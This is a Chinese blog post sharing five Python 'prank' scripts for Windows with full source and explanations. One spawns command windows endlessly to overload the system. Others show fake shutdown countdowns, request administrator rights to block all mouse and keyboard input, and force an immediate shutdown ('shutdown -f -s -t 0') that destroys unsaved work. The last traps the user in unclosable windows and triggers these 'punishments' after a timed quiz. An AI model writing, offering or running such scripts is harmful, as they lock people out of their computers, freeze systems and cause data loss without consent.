前言：简单又有趣的Python恶搞代码，往往能给我们枯燥无味的生活带来一点乐趣，激发我们对编程的最原始的热爱。那么话不多说，我们直接开始今天的编程之路。
编程思路：本次我们将会用到os,paltform,threading,ctypes,sys,wmi等库
一：无限弹窗
import os
while True:
os.system('start cmd')程序解释：这段代码将执行os库无限打开"cmd"窗口的命令，导致电脑CPU负载过大,电脑风扇直接起飞，系统出现严重卡顿。
运行效果：
二：伪关机倒计时
import tkinter
import os
import threading
import time
import random
import platform
s=['red','orange','yellow','green','blue',
'teal','purple','peru','gold','violet',
'salmon','navy','tan','maroon','azure']
begin=12
def count_down():
seconds=[]
for i in range(begin,0,-1):
seconds.append(i)
return seconds
def windows():
while len(count_down())>0:
window = tkinter.Tk()
window.title('{} {} {} {}警告!!!'.format(os.name,
platform.machine(),
platform.node(),
platform.version()))
window.geometry("{}x{}".format(1160,600))
number=random.randint(0,14)
tkinter.Label(window,
text='{}系统将在{}秒后自动关机'.format(platform.system(),count_down()[0])*1,
font=('楷体',30),
bg='{}'.format(s[number]),
width=1160,
height=600
).pack()
window.mainloop()
count_down().remove(count_down()[0])
while begin>0:
mark=threading.Thread(target=windows)
mark.start()
time.sleep(1)
begin-=1
程序解释：程序运行后将会出现12->0的倒计时弹窗，且弹窗颜色会随机在15种颜色内变化。弹窗中央会提示系统将在X秒后将关机（但其实并不会真的关机）。
运行效果：
三：伪关机倒计时（进阶版）
import sys
import ctypes
import tkinter
import os
import threading
import time
import random
import platform
def is_admin():
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
return False
if is_admin():
user32 = ctypes.WinDLL('user32.dll')
user32.BlockInput(True)
begin = 12
s = ['red', 'orange', 'yellow', 'green', 'blue',
'teal', 'purple', 'peru', 'gold', 'violet',
'salmon', 'navy', 'tan', 'maroon', 'azure']
def count_down():
seconds = []
for i in range(begin, 0, -1):
seconds.append(i)
return seconds
def windows():
window = tkinter.Tk()
window.title('{} {} {} {}警告!!!'.format(os.name,
platform.machine(),
platform.node(),
platform.version()))
window.geometry("{}x{}".format(1160, 600))
number = random.randint(0, 14)
tkinter.Label(window,
text='{}系统将在{}秒后自动关机'.format(platform.system(), count_down()[0]) * 1,
font=('楷体', 30),
bg='{}'.format(s[number]),
width=1160,
height=600
).pack()
window.mainloop()
count_down().remove(count_down()[0])
while begin > 0:
mark = threading.Thread(target=windows)
mark.start()
time.sleep(1)
begin -= 1
time.sleep(0)
user32.BlockInput(False)
else:
ctypes.windll.shell32.ShellExecuteW(None,"runas", sys.executable, __file__, None, 1)
程序解释：程序运行之后将会让用户选择是否允许系统修改用户设备，如果用户点击“是”，则程序会像上面代码一样：出现12→0的倒计时弹窗，且弹窗颜色会随机在15种颜色内变化。弹窗中央会提示系统将在X秒后将关机（但其实并不会真的关机），最重要的是，系统还会禁止用户的一切物理操作（包括内，外接鼠标和键盘，但不包括触摸板），即鼠标键盘失效；如果用户点击“否”，则程序自动跳过。
运行效果：
四：强制关机时钟炸弹
import sys
import ctypes
import tkinter
import os
import threading
import time
import random
import platform
def is_admin():
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
return False
if is_admin():
user32 = ctypes.WinDLL('user32.dll')
user32.BlockInput(True)
begin = 12
s = ['red', 'orange', 'yellow', 'green', 'blue',
'teal', 'purple', 'peru', 'gold', 'violet',
'salmon', 'navy', 'tan', 'maroon', 'azure']
def count_down():
seconds = []
for i in range(begin, 0, -1):
seconds.append(i)
return seconds
def windows():
window = tkinter.Tk()
window.title('{} {} {} {}警告!!!'.format(os.name,
platform.machine(),
platform.node(),
platform.version()))
window.geometry("{}x{}".format(1160, 600))
number = random.randint(0, 14)
tkinter.Label(window,
text='{}系统将在{}秒后自动关机'.format(platform.system(), count_down()[0]) * 1,
font=('楷体', 30),
bg='{}'.format(s[number]),
width=1160,
height=600
).pack()
window.mainloop()
count_down().remove(count_down()[0])
while begin > 0:
mark = threading.Thread(target=windows)
mark.start()
time.sleep(1)
begin -= 1
time.sleep(0)
user32.BlockInput(False)
os.system('shutdown -f -s -t 0')
else:
ctypes.windll.shell32.ShellExecuteW(None,"runas", sys.executable, __file__, None, 1)
程序解释：程序运行之后，就像“ 三：伪关机倒计时（进阶版） ”一样，但是这次倒计时结束后程序会真的执行关机执令（而且是强制关机），这意味着用户的临时文件和临时数据都会丢失。
运行效果：
五：验证入口枷锁(Boss)
from tkinter import *
from tkinter import ttk
import platform
import os
import time
import wmi
import random
import sys
import ctypes
import threading
def is_admin():
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
return False
if is_admin():
# 验证失败处罚模块
def punish_os():
while True:
os.system('start cmd')
def punish_time():
user32 = ctypes.WinDLL('user32.dll')
user32.BlockInput(True)
begin = 12
s = ['red', 'orange', 'yellow', 'green', 'blue',
'teal', 'purple', 'peru', 'gold', 'violet',
'salmon', 'navy', 'tan', 'maroon', 'azure']
def count_down():
seconds = []
for i in range(begin, 0, -1):
seconds.append(i)
return seconds
def windows():
window = Tk()
window.title('{} {} {} {}警告!!!'.format(os.name,
platform.machine(),
platform.node(),
platform.version()))
window.geometry("{}x{}".format(1160, 600))
number = random.randint(0, 14)
Label(window,
text='{}系统将在{}秒后自动关机'.format(platform.system(), count_down()[0]) * 1,
font=('楷体', 30),
bg='{}'.format(s[number]),
width=1160,
height=600
).pack()
window.mainloop()
count_down().remove(count_down()[0])
while begin > 0:
mark = threading.Thread(target=windows)
mark.start()
time.sleep(1)
begin -= 1
time.sleep(0)
user32.BlockInput(False)
os.system('shutdown -f -s -t 0')
# 入口访问信息校对模块
def proofread():
s = []
x = os.environ.get('USERNAME')
y = platform.machine()
s.append(x)
w = wmi.WMI()
for CS in w.Win32_ComputerSystem():
s.append(CS.Manufacturer)
s.append(y)
return s
# 验证入口模块
w = Tk()
screen_width = w.winfo_screenwidth()
screen_height = w.winfo_screenheight()
width = 600
height = 350
x = int((screen_width - width) / 2)
y = int((screen_height - height) / 2)
w.geometry('{}x{}+{}+{}'.format(
width, height,
x, y))
w.resizable(False, False)
w.protocol("WM_DELETE_WINDOW", lambda: None)
w.title('系统类型:{} 主机名:{} 系统版本号:{} 计算机类型:{}'.format(
platform.system(), platform.node(),
platform.version(), platform.machine()))
style = ttk.Style()
style.configure('TButton', font=28, relief='sunken', fg='gold', bg='blue')
def close_root():
w.destroy()
Label(w, text='你已授权本程序以管理员权限',
font=60, bg='white', ).pack(pady=20, fill='x')
button1 = Button(text="用户身份验证入口按钮",
command=close_root, cursor='hand2').pack(pady=96, padx=80, side='left')
button2 = Button(text="默认身份验证失败按钮",
command=punish_os, cursor='hand2').pack(pady=98, padx=80, side='left')
w.configure(bg='blue')
w.iconbitmap('info')
w.mainloop()
# 加载模块
win = Tk()
screen_width = win.winfo_screenwidth()
screen_height = win.winfo_screenheight()
width = 600
height = 350
x = int((screen_width - width) / 2)
y = int((screen_height - height) / 2)
win.geometry('{}x{}+{}+{}'.format(
width, height,
x, y))
win.title('正在进入用户验证界面，请耐心等待！')
win.protocol("WM_DELETE_WINDOW", lambda: None)
win.resizable(False,False)
win.iconbitmap('warning')
percent = StringVar()
percent_label = Label(win, textvariable=percent, bg='white', font=('Arial', 20))
percent_label.pack(fill='x', pady=40)
progress = ttk.Progressbar(win, mode='determinate', orient='horizontal', length=370)
progress.pack(pady=40)
def start():
progress.start()
def stop():
progress.stop()
button3 = Button(win, text='Start(继续)',
cursor='hand2', command=start).pack(side='left', padx=116)
button4 = Button(win, text='Stop(暂停)',
cursor='hand2', command=stop).pack(side='left', padx=110)
def do_work():
total = 48
for i in range(total):
progress.step(100 / total)
percent.set('{:.0f}%'.format(progress['value']))
win.update_idletasks()
time.sleep(0.5)
def close_win():
win.destroy()
do_work()
close_win()
win.mainloop()
# 验证主体模块
win = Tk()
screen_width = win.winfo_screenwidth()
screen_height = win.winfo_screenheight()
width = 600
height = 350
x = int((screen_width - width) / 2)
y = int((screen_height - height) / 2)
win.geometry('{}x{}+{}+{}'.format(
width, height,
x, y))
win.title('你有10分钟的时间输入相关验证信息,完成后先点击"核对完成"再点击"确认提交"!!!')
win.iconbitmap('error')
win.configure(bg='violet', cursor='hand2')
win.resizable(False, False)
def close_win():
win.destroy()
var_1 = StringVar()
var_2 = StringVar()
var_3 = StringVar()
# 创建第一个标签和Entry
label1 = Label(win, text="本机用户名")
label1.pack(padx=80, pady=5)
entry1 = Entry(win, textvariable=var_1)
entry1.pack(padx=80, pady=5)
# 创建第一个清除按钮
def clear_entry1():
entry1.delete(0, END)
clear_button1 = Button(win, text="清除键1", command=clear_entry1)
clear_button1.pack(padx=80, pady=10)
# 创建第二个标签和Entry
label2 = Label(win, text="本机生产商")
label2.pack(padx=80, pady=5)
entry2 = Entry(win, textvariable=var_2)
entry2.pack(padx=80, pady=5)
# 创建第二个清除按钮
def clear_entry2():
entry2.delete(0, END)
clear_button2 = Button(win, text="清除键2", command=clear_entry2)
clear_button2.pack(padx=80, pady=10)
# 创建第三个标签和Entry
label3 = Label(win, text="计算机类型")
label3.pack(padx=80, pady=0)
entry3 = Entry(win, textvariable=var_3)
entry3.pack(padx=80, pady=0)
# 创建第三个清除按钮
def clear_entry3():
entry3.delete(0, END)
clear_button3 = Button(win, text="清除键3", command=clear_entry3)
clear_button3.pack(padx=80, pady=10)
def get_info():
x = var_1.get()
y = var_2.get()
z = var_3.get()
s = [x, y, z]
return s
start_time = time.time()
Button(win, text='核对完成', command=get_info).pack(padx=120, pady=0, side='left')
Button(win, text='确认提交', command=close_win).pack(padx=120, pady=0, side='left')
win.mainloop()
end_time = time.time()
if get_info()[0:3] == proofread() and end_time - start_time <= 600:
pass
else:
punish_time()
else:
ctypes.windll.shell32.ShellExecuteW(None,"runas", sys.executable, __file__, None, 1)
程序解释：程序运行之后，首先会同上面一样，让用户选择是否允许系统修改用户设备，如果用户点击“是”，那么程序会先弹出来一个界面：让用户选择“用户验证入口”，还是“默认验证失败”。如果用户点击“默认验证失败按钮”，那么系统会执行惩罚：无限弹窗（同一）；如果用户点击“用户验证入口按钮”，该窗口关闭，新窗口打开。程序进入加载验证模块阶段，界面上会显示加载进度，用户可选择“Stop(暂停)”或“Start(继续)”来控制进度条进度，进度条满100%后，该窗口关闭，新窗口打开。你以为这就完了，其实这两个窗口是无法关闭的，用户必须作出选择。进入第三个窗口，程序会让用户按照窗口标题提示填写相关信息（只给600秒时间），填写完毕后，程序计算所用时间并校对信息，两者都符合规定则程序跳过，否则程序执行惩罚：“ 四：强制关机时钟炸弹”。
运行效果：
验证通过(如下所示)：
验证失败(如下所示)：
OK！今天的分享到此结束啦！
下期我会优化本章代码，并带来新程序哦。
期待你的教流指教，我是闪云-微星，我们下期不见不散！